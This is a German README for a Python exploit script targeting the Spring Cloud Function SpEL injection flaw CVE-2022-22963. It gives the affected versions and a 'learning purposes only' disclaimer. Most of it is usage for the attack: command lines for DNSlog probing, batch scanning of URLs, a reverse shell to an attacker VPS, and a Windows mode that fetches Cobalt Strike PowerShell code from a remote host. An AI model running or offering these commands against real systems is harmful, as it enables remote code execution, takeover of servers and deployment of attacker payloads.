
Spring Cloud Function SPEL-Ausdrucksinjektions-Schwachstelle (CVE-2022-22963)
Das Spring-Framework bietet ein umfassendes Programmier- und Konfigurationsmodell für moderne Java-basierte Unternehmensanwendungen (auf jeder Art von Bereitstellungsplattform).
Die
apply-Methode der KlasseRoutingFunctionim serverlosen Framework Spring Cloud Function von Spring Cloud verarbeitet den Parameterspring.cloud.function.routing-expressionim Anforderungsheader als SpEL-Ausdruck, was zu einer SpEL-Injektion führt. Angreifer können diese Sicherheitslücke ausnutzen, um beliebigen Code auszuführen.Betroffene Versionen: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
Das Skript dient nur zu Lernzwecken. Bei anderweitiger Nutzung übernimmt der Autor keinerlei rechtliche Verantwortung.
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u Gibt eine einzelne URL für den DNSlog-Test an
-e Gibt den Reverse-Shell-Modus an
-s Gibt das Betriebssystem des Zielhosts an, standardmäßig Linux, Parameter sind win/linux wird in Verbindung mit -i und -c verwendet
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

- 123.58.236.76:47874 ist die vulfocus-Docker-Umgebung, in der nslookup nicht installiert ist, daher schlägt der DNSlog-Test fehl.
- Die Batch-URLs müssen das Stammverzeichnis der Website sein. http://192.168.50.222:8080/ ist das Stammverzeichnis des lokal aufgebauten Ziels. Das Hinzufügen eines test-Verzeichnisses führt zu einem Fehler des POCs.
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "IP-Adresse des VPS:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c gibt die Adresse des von CS generierten PowerShell-Codes an, muss mit -s "win" verwendet werden. Die Option -c erfordert die Ausführung des Skripts unter Windows. Das Skript ruft PowerShell zur POC-Kodierung auf.


